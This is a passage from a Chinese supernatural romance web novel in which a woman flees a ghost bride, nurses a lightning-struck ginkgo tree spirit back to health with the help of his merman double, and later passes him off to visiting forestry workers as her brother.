以饲料店老板坟墓为中心,四周林木草地一片焦糊。
那些被劈到的漆黑林木,树芯被烧红,雷电带来的暗火正不断舔舐烧空那片树木。银清就倒在离火场边缘,如果不去救他,未被雨水浇灭的暗火会烧到他……
岑让川有那么一瞬间想要放弃他。
她都自顾不暇了,背后还有个鬼新娘,怎么救?!
何况烧的不是他本体,又有什么关系呢?
而且……
这还有个银清……
在不停挖土的银清。
在场四个东西,只有自己是人类。
岑让川知道自己此刻绝不能回头,不然扑灭的三把火,会被灭掉最后一把人火。到时候她真要去见阎王了。
鬼比人还怕,不然,为什么三番两次只敢通过某些媒介才来纠缠她?
她缓缓说:“这个年代,挖坟掘墓是犯法的。”
挖土的声响有一瞬间的停顿。
但也只是霎那,复又开始,快得让岑让川无法分辨那是不是自己的错觉。
雷光闪过。
岑让川想到以前老人总会对自己说,雷电交加之时,不仅成仙的生灵在渡劫,鬼魂也会因惧怕天力不敢动弹。
这个时间,够了……
她鼓起勇气,走到坟边,看到另一个银清在埋头挖土。
他的动作不太熟练,手上俱是黄土。
双脚浸入泥地,不顾脏污。
天边有隐隐雷声传来。
岑让川深呼吸一口气,大声问:“银清,别挖了。回家,做吗?”
做吗?
如果放在以前,银清大概率会欢欢喜喜丢下铲子爬出来跟她回老宅。
现在……
只一秒,雷声乍响,照亮这片坟地。
在挖土的银清动作僵硬,迅速化作一具枯骨。
岑让川拔腿就跑,往真正银清的地方奔去。
而在这之前,她必须抵达雷击木旁。
那是鬼魂惧怕的法物!
岑让川从未感觉自己的心跳这么快过,几近窒息的恐惧让她不得不往前跑,她眼中只剩下离得最近的一棵被雷劈倒的树。
有一块焦黑的木片正好飞出,就快要拿到!
三米。
两米。
一米……
脚踝猛地被什么东西拖住,岑让川重重摔倒在地。
脸砸在地上,酸痛从鼻根爬满整张脸,痛得她眼泪都掉了出来。
温热液体流出,她没有注意,拼命要往那块雷击木爬去。
“帮我!帮我啊!”
脚上沉甸甸地压上一具躯体。
鲜红鼻血淌入水里,迅速稀释成一片薄红。
岑让川压得快断气,鬼新娘掐着她腿,指甲抠入她的血肉,用力爬上来。
“别缠着我!”岑让川又惧又怒,用力踢蹬。
那双手没有放弃,也不顾她的挣扎,掐住她的腰用非人的力度直接把人整个拧过来。
“咔哒”
骨头发出错位细响。
岑让川差点没叫出来,要不是她还年轻,现在腰骨就要断了。
鬼新娘的脸再次在眼前放大,红盖头下,那只充血的眼睛死死盯着她,充满癫狂到极致的哀痛。
“帮我!”
惨白的手掐住岑让川脖颈,下手极重。
布满黄符纸的脸裹在鬼新娘每一寸皮肤上,仅露出的一只眼睛缓缓流出血泪,滴在失去粘黏效用,即将掉落的黄符上。
气息一下子被掐断,岑让川直接翻了白眼。
危急关头,她爆发出强烈的求生意志。
岑让川使劲踢蹬,踢翻身上的鬼新娘。
她来不及去看木片方向在哪,仅根据刚才的记忆,抓到地上的一个东西,直直朝鬼新娘掷去。
黑木片在半空中划过一道弧度,忽而像沾在鬼新娘身上那般,随着她砸入挖了一半的黄土坑中。
岑让川缓过神来那刻,担心鬼新娘再次冲出,马不停蹄又去捡了几块木片塞进身上口袋,这才跑去银清身边。
他浑身湿透,衣服贴在身上,一股烧焦木头的气味。黑色长发散在地上,白皙的肌肤已近透明,仿佛下一秒就要消失。
岑让川有种不详的预感,她推了推他:“银清!”
他一动不动,触手冰凉,像已经死去多时。
岑让川慌了,他要是死了……
钱怎么办?!
攒功德的事怎么办?!
她的四百万和下半辈子的命还在他手上呢!
没等她想好,身体已经自动自觉把人拖到自己背上。
岑让川环视四周,分辨下山方向。
被雷电劈开的坟地焦黑一片,视野宽阔了,却改变了记忆中的地形。
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她好不容易找到下山的路,不知怎的,鬼使神差地回头往鬼新娘坟头看去。
那被挖了一半的黄土坑这时再去看,丝毫没有被动过的痕迹。
一袭红衣站在坟头,远远望着她。
呜呜咽咽的哭声传来。
岑让川莫名觉得,鬼新娘……好像在伤心?
远处有沉响。
似有滚石落下。
怕是有泥石流?
岑让川再不多想,背着银清急急忙忙下山。
一路上,乱七八糟的脚印还有丢失的物品痕迹未被雨水冲干净。
她们上山后,饲料店老板家人们估计是目睹了什么东西,这才扔下她们急匆匆跑下山。
没义气的家伙。
跟饲料老板一个德行,真·不是家人一家人不进一家门。
常言道,上山容易下山难。
如果只是她一个人,根本没问题。
但现在背上还有一个银清,她必须小心再小心。
幸好,他虽然平日里看起来高大,但总归不是人类,体重没她想象中那么重,硬要说的话,有点像背一根木桩。
趁着泥石流还未冲下来,她赶忙把人背下山。
银清被她颠醒,气息不匀地说:“好疼……”
好疼?
哪疼?
岑让川看他哪哪都好好的,肤色白点而已。
她才是那个受伤的!
现在腰疼脖子疼,还得背他这棵树!
岑让川不吭声,下山后忙根据记忆往老宅处走去。
雨下得太大,镇子上的人绝不会在这种天气还开门做生意,更不可能下田劳作。
她想找人问路都没办法。
走了半个小时,路过步行街,迎面有个打伞骑电动车的人路过。
看到他们吓了一跳。
岑让川定睛一看,原来是手机店店主。
“你们去哪了啊,小伙子怎么回事?”店主掏出另一把伞给他们,帮忙替他们撑伞,“你们住的老宅,银杏树上没装避雷针吗?”
岑让川愣了愣:“那棵银杏树被劈了?!”
她下意识想回头看银清。
“是啊,好大一声!轰隆隆的。等不下雨了你该找林业局的人进去装一下。”店主又去看银清,“他去医院了吗?”
意识到银清说的疼是怎么回事后,岑让川托住他的手紧了紧,回过神来撒谎道:“嗐,我们上山帮饲料店老板他家里人看风水来着,他摔了一跤,已经去过医院了。”
店主狐疑:“那你们怎么不等雨停再走?现在淋成这样?”
“他吵着要回去,从小就这样,没办法。”
“我来背吧,你一个小姑娘也怪不容易的。”店主好心道。
岑让川本想同意,放在她脖子上的手缓缓勒紧,她这才想起银清的体重和体温都异于常人。
哪有身高186左右,体重却轻的像木桩子的男人?!
好在在她同意之前,银清已经出声,他虚弱地吐出两个字:“……不要。”
“不要丢下我,求你……”
“我好疼……求你,不要丢下我……”
他似是陷入梦魇,两行清泪落下,砸在地上,瞬间变成两颗白果。
“……”
店主低头,看看岑让川,又看看银清,再看看白果,眼中全是疑惑。
岑让川汗都下来了,连忙蹲下身捡:“死孩子老捡这些玩意……”
她一蹲下,银清登时从她背上滚落。
他手掌已成半透明状,隐隐能看到如叶脉般的绿色经脉。
16. 鲛人
手机店店主姓秦,比岑让川大了一轮,他让她喊他秦哥就好。秦哥妻子得癌症死后一个人抚养孩子长大,听他说,是个乖巧的小女孩。为避免再婚后对女孩不好,他单身到现在。
那天背着银清回来,岑让川三下两下把手机店店主家底给聊了出来。
因为……她的手机又进水了……
她得打好关系,兴许能打个折,以后估计就是手机店常客了。
秦哥把她们送到凶宅门口,明显感受到里边一股阴凉气袭来,心中发毛就想走。
岑让川犹豫了下,拦住他,把口袋里的一片雷击木给他:“秦哥,也没什么好给你的。我和他上山看风水的时候,正好遇到雷电,这是雷击木,驱邪避凶,你看下能不能自己钻个洞戴在身上。”
“好东西啊,就给我了?!”秦哥听说过古玩市场有这玩意,没想到今天会得一片。
“嗯,不过……哥,别说出去。要是过几天听到饲料店那家人说起什么也千万别去,我们看风水的那片地,虽然被雷劈了一大片,但……不干净。”她暗示道。
“好好好,不说出去。”秦哥接过这片黑漆漆的木头,“我就不进去了,你过几天记得叫林业局的人过来啊。”
“好嘞好嘞,谢谢啊。”
“不客气。”
等秦哥一手打伞一手骑电动车离开,岑让川才重新把放到家门口阶梯上的银清抱起来。
他像是彻底失去意识,软绵绵地靠在她肩膀上,仿佛一株枯萎的草。
谁能告诉她,一个树精怎么治疗?
她总不能在这个时候去紧急培训银杏树养护知识?
虽说她喜欢临时抱佛脚,但这也太临时了?
到时还没培训到位,银清就凉了。
她绕过壁照,完全忘了要远离池塘,抱着他径直走入回廊。
细细密密的雨线沿着屋檐淌下,如珠帘般挂满整条长廊。岑让川走得急,等反应过来时,才发觉自己已经快要走完全程。而她刚刚路过的池塘边,似乎多出了一个陌生身影。
总是弥漫植物香气的老宅里,似有若无多出一丝水腥气。
不臭,只是腥,与此同时,还有丝丝缕缕的、她从未闻过的味道。
古怪的香味。
她抱着银清,缓缓回头。
在看清池塘边缘是什么东西时,瞳孔蓦地缩紧。
隔着雨帘,它也看了过来。
长至腰下的银色长发被雨水打湿,发尾卷曲着落在还未整理的花圃泥浆地里。肤色发白,隐隐生辉,一双同样银白色的双眸凝视她,清俊到非人感浓重的脸上没有任何表情,就这么冷淡地望过来。
为什么说是“它”?
岑让川视线只在他上半身停留一瞬,立时被他腰部以下的风景吸引。
鳞片从腹部开始渐多,覆盖在每寸肌肤上。银光闪闪,看似纯白,却流光溢彩,如覆着浅淡的彩虹,每动一下就是五颜六色。鱼鳞尾部,层次分明的薄片沉入水中,半透不透,但能清晰看到上面的线脉。
岑让川想,自己该不会还没从鬼新娘布置的幻境中走出来?
还是自己在做梦?
这个世界……真有鲛人?!
如果没有,那她现在看到的是个什么东西?
镇子上爱玩cosplay的学生仔到凶宅冒险来了?
她大脑宕机,微微张大嘴盯着突然出现的鲛人看。
结果鲛人像是认识她,端详一会儿后收回目光,视线转到她怀里的银清身上,淡淡道:“他快死了。”
岑让川神智回拢,想起银清曾经跟她的对话。
银清:“你只要不掉下去,它在能清洁水源,会让宅子里的生态更好。”
岑让川:“它究竟是什么东西?”
银清:“鱼啊。”
他当时轻描淡写,吐出“鱼啊”两个字时,岑让川真以为是普通的鱼。
既然银清知道它的存在,又没有赶走,那……稍微可以信任?
岑让川鼓起勇气问:“你有什么办法吗?”
“埋进土里。”鲛人轻轻晃动尾巴,“饿了,给我弄点鱼。”
“……”埋进土里?
才四个字,她怎么好像听不懂?
是她想的那个意思吗?
鲛人不满看她,略微蹙起眉头:“我饿了……”
“了”字音刚发出半截,岑让川想到什么,急急忙忙转身。
鲛人饿到生气地用尾巴拍一下水面,钻进池塘,慢慢消失。
回到主屋小楼。
眼前的景象是岑让川从未见过的。
银杏树被雷劈去上半截,斜斜劈到地上,劈出一个大坑。
断裂的树枝落在小楼顶上,树上,有的还在燃烧,发出暗红的光。
岑让川麻了,这么一大片受灾区她要怎么处理?
空气里的焦糊气味在提醒她要赶紧做决定。
此时雨已经小了许多,依然有闷雷声阵阵。
“我把你埋进去了?”她小声问怀里的银清。
他不回答,岑让川当他默认。她瞄到树旁的黑色大坑,心想这雷劈的还挺准,不大不小正正好好埋一个成年男人。
既然没有第二个办法,就死马当活马医。
岑让川蹲下身,把他放了进去。
雨后泥土湿润,什么蚯蚓蛴螬之类的虫子通通化成土的一部分。
黑坑有点深,露出了点树根,有暗红焰火附着。
岑让川把银清放进去,又打了一桶水浇灭雷火。
可光把人放进去也不行吧?
埋,分开就是土里,加土覆盖。
她捡起一旁劈飞的铲子,抡起胳膊开干。
要是此时此刻有人走进凶宅,必定以为是埋尸现场。
这一埋,就埋到天色擦黑。
又有雨落下。
明明不是雨季,哪来这么多雨呢?
岑让川擦擦汗,来不及去洗澡,又是灭火又是清理,最后趁着林业局还没下班,赶忙给人家打电话找个时间安装避雷针。
整个小镇就这么一棵银杏树,在私人宅子里,林业局不好贸然进去,听到她的求助电话,便尽快约了明天。
岑让川松下一口气,洗完澡后去宅子外随便对付一顿晚餐。
修好手机,被秦哥调侃是手机杀手,二人坐着聊了一会儿,时间已经指向九点。
回宅子路上已经没人。
她撑着伞,感觉有点冷,估计是要感冒了。
她手上提了一条跟苍蝇小馆买的死鱼,也不知道池塘里那条鲛人吃不吃。
他要是不吃…
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…她还打包了一份云来镇改良版松鼠桂鱼。
好贵呢,要五十块钱。
她想着,打开宅门走进去。
回廊下石柱灯打开,昏黄灯光照在水面又反射到墙上,水波粼粼。
不知道是不是闻到了鱼味,空无一物的水池晃起涟漪。
岑让川掂掂塑料袋发出声响:“你还在吗?”
水声哗啦,池边岩石上逐渐显现出一道人影。
鲛人不满看她,毫不客气地问:“你就打算这么投喂我?盘子呢?叉子呢?不要生鱼,我要清蒸的。”
岑让川震惊:“我靠,你吃我的住我的还这么多要求?!”
“怎么说话呢你?”鲛人大尾巴拍打水面,就差把水泼到她脸上,“快点,把东西准备好,再晚点我吃人了。”
“……什么玩意。”岑让川嘀咕,心不甘情不愿按他要求去弄好两条鱼。
路过主屋小楼,被雷劈掉大半树枝的银杏树本有些往旁歪去,现在居然已经好了不少。
埋银清的地方生长出丝丝缕缕如藤蔓般的嫩绿纸条,与大树缠绕在一起。
她听到一点声音。
朦朦胧胧的听不真切。
他在进化?
岑让川困惑地多看几眼,实在看不出什么便抬步离开。
她对银清没太大感觉,相识不到一个月,能有什么感觉?
只把他当成室友,不死就行。
她刚走,脚底下就冒出一点嫩绿的树苗。
随着她的脚步,一路生长过去。
因为是在晚上,那点绿意无人在意。
两盘鱼放在平缓的地面。
银白鲛人双手撑在岩石上一撑,直接坐在岸边。
岑让川见他还算满意的样子,终于忍不住问他:“你真是鲛人?什么时候来的?来这干什么?”
鲛人慢慢悠悠端起盘子,咀嚼鱼肉并不回答。
“说话啊。”岑让川好奇的要死。
她的手已经蠢蠢欲动,想去摸一摸他腰上鱼鳍。
“你不记得我了?”鲛人抬眼看她,银灰色眸子里没什么情绪,见她伸过来一只手,警告道,“再伸过来我就用叉子叉断你的手。”
“……小气鬼。”岑让川有贼心没贼胆,伸到一半缩回。
“哼。”鲛人冷笑,“两条鱼你就想占我便宜,天底下哪有这么好的事?”
“行,你吃吧,我明天绕路走,不经过这了。”
她真是服了,破宅子里没一个友好生物。
还是第一次见面的银清好,懵懵懂懂的。
越到后来越不可爱。
她想起身,鲛人一尾巴甩来,拍得她满脸是水。
小腿一疼,差点跪下。
岑让川火了:“你有毛病啊!”
“我要是没点毛病还能看上你?”鲛人扑过来,盘子摔到一边叮叮当当响,“你不喜欢我这个形态?别忘了当初,你为了鲛人,整整冷落我一年!”
岑让川挣扎的动作一顿。
这熟悉的语气……
她还没说话,回廊尽头传来另一道虚弱的声音。
“你们……在干什么?”
月洞门旁,两道一模一样的影子投射在墙上。
岑让川和鲛人齐齐看过去,皆露出震惊的表情。
17. 即将消失的他
“你果然……还是喜欢鲛人。”银清面色惨白,在他身后,还有一个和他一模一样的银清。
只是那个银清有点不一样,他微微敛眸,琥珀色眼眸里映不出半点光亮。他斜倚在月洞框边,肤色透明地仿佛下一刻就要消失。他不说话,摸索着要往后退。
鲛人扭过头来,质问她:“你干了什么!他再分裂下去我们都要死了!”
岑让川比他还迷茫:“背下山之后,放土里埋了啊?不是你说要埋的吗?”
“他被埋进土里之前说了什么?!”
埋进土里之前?
岑让川脑子里面开始搜索,从山上下来,路遇秦叔,他的手变透明……
时间线再往前倒。
她蹙眉说:“不要?”
鲛人重复:“不要?”他疑惑,“不要什么?”
“不要丢下他。”岑让川见鲛人脸色变化,忙解释,“我没扔下他,你看到的,我还把他弄回来了!”
压在肩膀上的桎梏松动。
鲛人银色眼眸冷冷望着她,他慢慢挪动,沉入水里。
“你以前,总是丢下他。这是第一次,你把他带回来了。”
“过去吧,他今晚还会再分裂。”
“我要怎么阻止?”岑让川连忙爬过去抓住鲛人的发丝。
鲛人恼怒地拽回去:“不知道!不许拽我头发!”
说完,他浸入水里消失不见。
水面荡起一圈又一圈涟漪。
手心柔软顺滑的触感消失,只剩下带点水腥气的水迹。
她刚刚不小心用了这么大力气,居然连根头发都没拔下来。
岑让川“啧”一声,想起银清,赶忙擦干手起身过去。
月洞门处黑漆漆的。
面色惨白的银清无力瘫倒在地,在岑让川还未接近之时迅速消瘦,变成一根树枝。上面本是绿油油的叶子,也立时枯萎,掉落。
岑让川把它捡起来,倒是不用费时间分出哪个是主体了。
今夜没有月亮。
石柱灯昏昏暗暗,氤氲出暖光。
前方银清的身影几乎要融入夜色,蹒跚着不知道要去往何处。
他还能去哪?
千年时光,他的家人朋友,早已消失在历史长河。
忘记来处,没有归途。
踽踽独行于世间,孑然一身。
“银清!”岑让川喊他。
他像是听不到,踉踉跄跄地摸着石灯柱走,似在辨认方向。
岑让川想起刚刚看到他双目无神的样子……
他现在……看不到东西?
“银清?”
匆忙脚步踏碎水面天光。
毫不犹豫朝他走来。
银清视觉与听觉被剥离,于无尽黑暗中寻求前路。
忽而,他感觉腰上一紧,手背上贴来温热的触感。
二人相触的刹那。
失重感传来。
无数画面流转,定格在千年前地某日雨夜。
兵马路过,和她一样面容却气势凌厉的女子被无数人围在中间护送离去。她没有回头,丢下浑身是伤的银清在漆黑树林中。
“不要丢下我……”他捂着腹部伤口,满脸是泪。
从未变过的琥珀色双眸随着那队人马的远去渐渐黯淡。
“不要丢下我,求你……”
“我好疼……求你,不要丢下我……”
他无数次地恳求,哀切地哭泣都淹没在雨夜深林。
她回头了吗?
岑让川远远望去,心里已经有了答案。
追兵掠过。
他独自在丛林里带了很久很久。
血腥气会招来猛兽,他不敢停下,边躲边跟着队伍留下的痕迹前行。
“求你,不要丢下我。”
他的话语似远似近,回响在耳边。
像针扎一样刺在她心上。
岑让川忽然生出几分不属于她的愧疚,握紧他的手:“我在这。”
眼前景象碎裂成片。
记忆回拢。
银清痛得浑身颤抖,跪在地上,口中吐出白果和花。他皮肤已经完全透明化,像一尊琉璃水晶,透过他的手,岑让川甚至能清晰看到自己的掌纹。
“他再分裂下去,我们都要死。”
人鱼警告的话几分钟前还在耳畔边响起。
可是……
该怎么阻止?
她手掌上甚至触摸到银杏树渗出的汁液。
清澈的绿流在手上就是他的血。
她隐隐有些明白过来。
为什么自己没有丢下他,他依旧痛苦成这样。
独自捱过千年时光里,他都在想什么?
一个月,一年,他生前都在日日夜夜等待中。
为江山大计,决定牺牲他,等他死后想清楚的时候,他又是怎么说服自己等她转世?
不断分裂。
不断分离出自己的五感。
深重的寂寥。
无尽的孤寂。
漫长的凄清。
点点滴滴,组成他千年前的生活。
但现在,已经不是以前……
他爱的那个人,已经成为历史。
甚至已经转世,变成没有任何前世记忆的她。
“爱和欲,你总得满足我一样。”
她想起银清曾经说过的话。
爱?
没有。
岑让川自认天性凉薄。
短短半个月相处,还不足以让她爱上。
欲?
欲就欲吧。
岑让川一咬牙,用力抱起他。
她低头看他透明的容颜下,绿色叶脉遍布,正急速复制出另一个躯体。
她带他来到石凳前,让他坐在自己腿上,一只手轻压在他后颈上。
银清睁开没有焦距的双眼,双手抬起去摸她的脸,似在慌张地确认是她。
他发不出声音,仅能用唇语与她对话。
岑让川看他晶莹的唇张张合合,颠来倒去说的都是一句话。
“不要丢下我。”
她试探性地触碰他的唇。
银清一愣,敛眸不语。
猫儿般用仅剩的三觉感知她的存在。
岑让川看到他身体里绿色经脉运行速度以肉眼可见的速度慢下来,拉过他的手,在他手心写下两个字:我在。
我在。
不论千年前我抛下你多少次,至少这一次,我把你带回来了。
琥珀色双眸在她写下这两个字时,眼眶内涌出水色。
青绿汁液从他眼眶淌出,馥郁植物香气瞬时弥漫,将她整个人都包裹在这股清新雅致的香调。
岑让川不由想把他此刻的眼泪收集起来,卖个香水也……行得通?
银清不知道她在想什么,透明鼻尖呼出的气息洒在她脖颈处,凉得如同初冬带雪的风。
她扶住他的腰,任他现在为所欲为。
现在的银清……
岑让川有点害怕。
非人感过足。
透明的肌肤,清晰可见的身体内部构造,流动的绿色经脉……
整张脸唯有那双眼睛一如既往的没变。
她感觉自己在抱着水晶雕刻人像,生怕弄碎他。
银清埋在她发间
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嗅闻许久,冰凉的指游移在她脸上,柔软而寒冷的唇从她耳垂边吻边蹭到颈边。
深深的凉意冻得她打了个哆嗦,下意识避开他的吻。
银清半透不透的眼睫轻颤,体内清晰可见的经脉复制能力隐隐有再次苏醒的迹象。
岑让川赶忙拉近他:“我没拒绝你。”
银清听不到,别扭地撇过脸似是要走。
她拉起他的手放自己脖颈上。
太凉了,跟冰做的似的。
幸好是在夏天,不然无法忍受这个温度。
银清读懂她的想法,凭着感觉靠近。
第一下没吻对,亲到了下巴。
第二下是嘴角。
第三下他总算找到地方,试探性地碰了碰她的唇,顿了两秒钟,才一点点深入。
人类的体温。
独属非人的温度。
一冷一热。
两种温度慢慢纠缠。
口中霎时多了丝甘甜的味道,似是夜间淌过山岩的溪泉,有点凉,清澈可口,带着点不易觉察的草木香气。
他……
好甜……
岑让川以前没发现,他居然这么甜。
不是腻人的甜味,而是清甜。
越吻,散发出的树木香气越浓。
岑让川有点上头了,绞着他软绵的舌想要汲取更多。
银清没经历过这么缠绵的亲吻,喘息声陡然粗重。
视觉与听觉消失后其余感官变得异常敏锐,他努力靠近她,抓住她的手往自己胸口上放。
心跳剧烈。
复制出一半的经脉逐渐融合,透明肤色也悄悄镀上薄如瓷器的白胎。
岑让川读懂他的暗示,单手解开他的盘扣后略略拉开距离,仔细观察他的反应。
当看到他从透明变成半透明,悬着的心总算放下一半。
她拉过他的手,在掌心处写下问询:银清,上楼吗?
他气息不稳,一个好字说得颤颤巍巍。
灯烛点亮。
从窗纸透出,如在泅湿画卷上落下的一滴鹅黄颜料。
黑夜寂静,竹蛉声在窗下传来,伴随雨后潮湿的清风卷入二楼小屋。
浓郁木香填满每寸角落,丝丝花香气漫出,落入风中。
他黑发散落,小金筒几乎箍不住他的发即将滑落。
银清边亲边咬,埋在她颈窝处呼吸都乱了。
岑让川看他皮肤微微泛起粉色,终于恢复正常肤色,提到嗓子眼的心终于落下。
现在问题来了,银清已经被彻底被激起渴欲。
憋得太久,今晚注定要迎来狂风暴雨。
她正想用点什么理由提裤跑路,从山上下来后她有感冒迹象,陪他闹的话她估计明天就得上医院看病。
谁知道她还没想好,他已经重重压下。
“啊…”他疼得急促低叫一声。
“喂,不是,你别这么急。”她连忙托住他的腰,阻止他的动作。
岑让川算服了他,急也不能急成这样?
生得文气清雅,偏偏做起这种事又急又凶,生怕再晚点自己跑了一样。
………就算她刚刚确实有这想法,她这还没跑吗!
岑让川回抱他,给足他安全感,让他适应后再加以引导。
窗外又开始下雨,绵绵细雨不断,雷电照亮厚重云层。
越到后半夜,雨势越大。
主屋小楼灯几乎亮了一晚。
直到天边蒙蒙亮才暗下。
池塘边,红色小船被雨浇透,红纸掉色,湿得只剩竹架。
无形力量把它拍上岸,一片落叶正好遮挡。
18. 他是我弟,脑子有病
一整晚。
足足一整晚。
岑让川头痛欲裂,手机震动好几下都不想管。
身边回温的暖和气息凑近,又亲又咬。
感觉自己只睡了几分钟的岑让川:“……”
做一晚上还不够吗?!
她腰真要断了。
后半夜说好自己动的银清看她真不理他还生气了,一个劲地缠人。
从他身上流出的汁液直接把薄毯打湿,反反复复已经换了三条毯子。
“我真不行了,头疼。你让我睡会。”岑让川去扯他,一下子把他身上盖的被子也给扯了下来。
银清也很累,但他一想到做完这一场没有下一场又觉得莫名慌张,空虚与孤寂织成网牢牢捆在他心头,非要她给予回应似乎才能缓解这种情绪。
他扯了扯岑让川的袖子,小声说:“最后一次。”
语气要多心虚有多心虚。
岑让川忍住火气,闭眼说:“你说了五次最后一次,到底哪次是最后一次?”
她真的服了,他哪来这么多精力干这事?
昨天被雷劈得连主体都快没了。
本体也奄奄一息,埋进土后突然分裂。
看到他的分身鲛人又一副要死要活的模样,又聋又盲做一晚上就全都恢复了?!
银清不说话,盯了她许久。
山上他昏死过去那阵,他完全没想到她会清醒后把他带回来。
千年记忆,反复回忆品尝夹杂在为数不多甜蜜中带血的碎片。
前世她不爱他。
今世她不爱他。
却……没有丢下他。
银清不确定地问:“你……现在心悦我吗?”
她背过身去,烦躁道:“心悦你个头。闭嘴,我头疼。”
冷心冷肺。
薄情寡义。
跟前世一样,没变。
银清知道再闹下去她真要见阎王,不开心地重新躺下。
他从她身后伸出手,去探她的脉搏。
细弱、沉、涩。
嗯……
风寒、肾虚……
好像是有点过分……
银清老实了。
岑让川闭上眼也不知道睡了有没有一分钟时间,身上再度压来重量。
“……”她眼睛都没睁开就知道是谁,“别闹。”
银清非要把她扒拉正,含糊道:“吃下去。”
吃什么?!
岑让川顿时想歪,眼睛立刻瞪大去看挨过来的……
晨光朦朦胧胧映亮他半张脸,另外半张沉在暗色中。
高挺鼻梁分割出明与暗。
琥珀色双眸琉璃珠般,底色明亮清澈,含满一潭秋池般水光盈盈。
约莫是一晚上吃饱了,昨夜脸色惨白,如今变得白里透红有光泽,似蒙着一层薄薄微光。连唇色都透着淡粉,含着白果的模样带着几分惑人的艳色。
他被喂饱,容光焕发。
与他形成鲜明对的岑让川被采阴补阳,黑眼圈加上感冒,脸色青黑,虚得不行。
银清主动吻上她,把口中白果用舌尖推进她嘴里。
“吃啊。”他满眼纯净地望着她说。
岑让川:“……”
是她脑子里黄色废料太多……
她以为……
算了。
她含入白果咬开,口感味道有点苦涩,跟药丸似的。
果渣随唾液流入喉咙,感冒通宵后带来的不适减轻许多。
她不由问:“白果哪来的?”
“我会结果。”说完,他又低头喂她一颗。
这颗甜许多。
但……
岑让川评价:“这颗药味淡好多。真是白果?”
银清趴在她身边,慢慢说:“我的根与其他草木都连在一处,所以,我结的果和其他银杏树不一样,外形是白果,但你也可以理解成是药。”
难怪见效这么快。
她嚼碎咽下。
通宵一整晚,又被他闹醒,想睡回笼觉……
正犹豫要不要睡,床头柜手机再次震动。
一看来电。
是林业局的。
岑让川赶忙接起来,听到对面说已经在路上,十分钟后到。
她被子一掀,踩着拖鞋换上T恤长裤。
银清跟过来,但他没穿衣服。
岑让川听到脚步声,一回头就看到他如白玉的皮肤上,全是她昨夜留下的痕迹。
脖颈和胸前尤其多,简直像过敏一样,又红又肿。
岑让川:!
她昨晚下手有这么重吗?!
银清后知后觉反应过来,缩回脚,默默用被子拢住整个自己,耳朵尖红了。
岑让川震惊中带点流氓的视线被阻隔。
脸色几经变幻,她左看右看问:“你衣服呢?”
“……被你撕烂了。”
“我哪那么大力气!”
银清不说话,拿谴责的目光看她。
委委屈屈的,跟她把他怎么着了一样。
一个月不到,三次里只有第一次她是情不自禁,后两次都是他主动的吧?
岑让川内心吐槽,她还没说话呢,他先害羞上了?
昨晚上歇口气都不给的人是谁?
要吃自助餐,一包纸巾用完不算,大半夜没纸只能用他结出来的树叶的人又是谁!
她就啃了几口,不过分吧?
岑让川扫视地上,到处找衣服。
可看来看去,只有……
她捡起地上两片破破烂烂的树叶,狐疑看他:“这不会是你衣服?”
银清接过来,跟变魔术似的,就这么晃两下。
中式上衣立时显现。
上面盘扣七零八落,面料也抽丝了。
“……”岑让川顿时记起昨夜的激烈,有点理亏,“我再去给你捡一片?”
“不用了……我自己可以……”他小声说。
岑让川听他这么说,心安理得下楼洗漱。
看到镜子里憔悴的自己,她叹口气。
男色误人!
真是一步错步步错,第一天她怎么就忍不住呢?
忆起那天场景,她都怀疑是不是银清那小子点了什么迷香一类的玩意。
洗漱完,手机再次震动。
她看都不用看就知道是谁,忙跑去前院开门。
破宅子大得要命。
从主屋小楼道大门用跑都要两三分钟。
路过沿廊,池塘里鲛人饿得仰泳。
看到她来,立刻喊道:“我要吃鱼!”
“吃屎吧你。”岑让川头也不回,绕过壁照去开门。
开玩笑,一顿五十块。
还要配筷子盘子。
她疯了才把这么贵的净水器养宅子里。
饿死拉倒,银清主体活着就行。
鲛人没反应过来,就看到她风一般刮走。
回过神来,差点没气死。
银清换好长袍悠哉悠哉路过,好心问他:“我要去买早餐,要给你带一份吗?包子油条,豆浆米粥,喜欢哪样?”
“我要吃鱼!
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”鲛人冲着自己主体发脾气,“你是不是有毛病,赶紧弄死她,侵占她的财产,每天过得苦哈哈的有意思吗?”
“有意思。”银清故意拉开衣领,以手作扇扇风,“比你有意思。你既然什么都不要那就饿着吧。”
鲛人眼睛又不瞎,看到他锁骨上的吻痕,用尾巴拍打水面,“我们是一体,你是我,我是你,你不喂我,饿的不还是你?!”
“反正你不肯回到我这,你怎么样我都不关心~”疯狂一夜,纾解多日来的憋闷,银清心情明显好许多,朝鲛人挥手,“再会,我去给她买早餐。”
鲛人见最后一个金主要走,忙喊:“包子豆浆行了吧!”
“晚了,饿着吧。我妻尊不让我浪费钱~”银清边说边重新扣上长袍第一颗盘扣。
鲛人正要再说什么,感应到有陌生人接近,立即沉入池塘,消失不见。
银清正过脸看去,一行四五人,都是陌生面孔的中年男人,愣愣看着他。
岑让川站在最前头,太阳穴突突疼。
她当然知道他在跟谁说话,林业局的不知道啊!
不仅不知道,这还是凶宅……
果然,在目睹银清对着空荡荡池塘说话后,几个技术员面色各异。
其中一个年轻的结结巴巴问:“他、他在跟谁说话?”
连声音都透出颤音。
“……不好意思,他、我……”岑让川一咬牙,“他是我弟,脑子有病。就是,爱自言自语。”
池塘里似乎传来一声嗤笑。
银清脸上那点笑意尽数消散。
她在说什么?
她弟弟?
千年前,他是比她小。
千年后,论资排辈他都可以当她祖宗了!
银清面色不虞,死死盯着岑让川。
她反瞪回去,用唇语警告他今天来外人,不许整幺蛾子。
岑让川没注意他情绪变差,生拉硬拽把林业局来的技术员们推进宅子。
一行人扛着设备跟她从沿廊旁的小路走去主屋小楼。
早上醒来那会岑让川还没注意。
昨天被雷劈去半边枝叶树干的银杏树今天状态居然好了这么多,简直是世界奇迹。
昨夜留下的漆黑灼烧痕迹已然消失,秃掉的三分之一树冠也长回来了。
要不是一地树枝和黑色大坑还在,根本看不出它曾遭到雷击。
“它真被雷劈了?”年轻小伙不敢置信地问,上前去触碰这棵在镇子上鼎鼎有名的千年银杏树。
岑让川汗流浃背,胡乱找借口:“昨天……傍晚打的,可能是我没看清楚,白天看确实没那么严重,哈哈。”
她干笑两声。
银清恢复能力也过于好了吧?
这里要不是贫穷乡下小镇,又是禁飞区,非得被人看到。
技术员们纷纷放下沉重设备围在树旁看它,跟看大明星似的。
池塘边。
等人路过后。
鲛人冒出头来,肆无忌惮嘲笑:“哈哈哈哈还妻尊呢。睡了又有什么用?人家连个名分不愿意给你。他~是~我~弟~”
银清随手捡起一块石子,掂掂重量,觉得不够,抄起一旁大石块。
